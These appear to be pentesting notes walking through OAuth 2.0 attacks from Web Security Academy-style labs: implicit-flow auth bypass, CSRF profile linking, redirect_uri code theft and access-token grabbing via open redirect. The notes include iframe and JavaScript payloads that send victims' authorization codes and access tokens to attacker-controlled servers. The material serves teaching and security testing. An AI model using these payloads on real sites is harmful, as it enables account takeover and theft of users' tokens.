OAuth 2.0 Authentication Vulnerabilities

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth%20Misconfiguration#grabbing-oauth-token-via-redirect---uri

OAuth is a commonly used authorization framework that enables websites and web applications to request limited access to a user's account on another application. Crucially, OAuth allows the user to grant this access without exposing their login credentials to the requesting application (i.e. login with facebook).

Although OAuth 2.0 is the current standard, some websites still use the legacy version 1a. OAuth 2.0 was written from scratch rather than being developed directly from OAuth 1.0. As a result, the two are very different.

- Identifying OAuth authentication

If you see an option to log in using your account from a different website, this is a strong indication that OAuth is being used.

The most reliable way to identify OAuth authentication is to proxy your traffic through Burp and check the corresponding HTTP messages when you use this login option. For example, an authorization request will usually look something like this:

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

- Recon

Doing some basic recon of the OAuth service being used can point you in the right direction when it comes to identifying vulnerabilities.

Once you know the hostname of the authorization server, you should always try sending a GET request to the following standard endpoints:

/.well-known/oauth-authorization-server

/.well-known/openid-configuration

These will often return a JSON configuration file containing key information.

- Authentication bypass via OAuth implicit flow

While proxying traffic through Burp, click "My account" and complete the OAuth login process.

In Burp, go to "Proxy" > "HTTP history" and study the requests and responses that make up the OAuth flow.

This usually starts from the authorization request GET /auth?client_id=[...].

It then logs the user in by sending a POST request containing this information to its own /authenticate endpoint, along with the access token.

At this point, we should send the POST /authenticate request to Burp Repeater and change the email address to the target email. If we do not encounter an error, we should right-click on the POST request and select "Request in browser" > "In original session". Copy this URL and visit it in the browser. You are logged in as the target.

- Forced OAuth profile linking (CSRF)

If the target allows you to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password, we could try manipulating this functionality to obtain access to other users' accounts, for example, a CSRF attack to attach your own social media profile to the admin user's account on the website.

While proxying traffic through Burp, "Attach a social profile", then forward any requests until you have intercepted the one for GET /oauth-linking?code=[...]. Right-click on this request and select "Copy URL" (Importantly, notice that the request does not include a state parameter to protect against CSRF attacks), then drop the request. This is important to ensure that the code is not used and, therefore, remains valid.

Then, the exploit we should deliver to the victim should look like this:

<iframe src="https://target.com/oauth-linking?code=STOLEN-CODE"></iframe>

Deliver the exploit to the victim. When their browser loads the iframe, it will complete the OAuth flow using your social media profile, attaching it to the admin account on the blog website.

- OAuth account hijacking via redirect_uri

A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users' accounts.

In Burp, study the OAuth flow in the proxy history and identify the most recent authorization request.

Change the redirect_uri to point to the attacker server, if you receive an authorization code, that confirms that you can leak authorization codes to an external domain.

Then create the following payload and host it in the attacker machine:

<iframe src="https://target.com/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://attacker-server.com&response_type=code&scope=openid%20profile%20email"></iframe>

Deliver the exploit to the victim, then go back to the access log and copy the victim's code from the resulting request.

Then to leverage the stolen code:

https://target.com/oauth-callback?code=STOLEN-CODE

- OAuth access tokens grabbing via an open redirect

Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

In Burp, study the OAuth flow in the proxy history and observe that you cannot supply an external domain as redirect_uri because it's being validated against a whitelist.

Then we could try including the /../ path traversal sequence:

https://target.com/oauth-callback/../post?postId=1

Forward any remaining requests and observe that you are eventually redirected to other places.

We have to identify where it redirects and craft a URL that will initiate an OAuth flow with the redirect_uri pointing to the open redirect, which subsequently forwards the victim to your exploit server:

https://target.com/auth?client_id=X&redirect_uri=https://target.com/oauth-callback/../post/next?path=https://target.com/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

Test that this URL works correctly by visiting it in the browser. You should be redirected to the exploit server's

On the exploit server, create a suitable script at /exploit:

<script>
window.location = '/?'+document.location.hash.substr(1)
</script>

Test it and see if there is a request like GET /?access_token=[...]

Then, create an exploit that first forces the victim to visit your malicious URL and then executes the script you just tested to steal their access token. For example:

<script>
    if (!document.location.hash) {
        window.location = '
https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email
'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

Deliver the exploit to the victim, then copy their access token from the log.

Last updated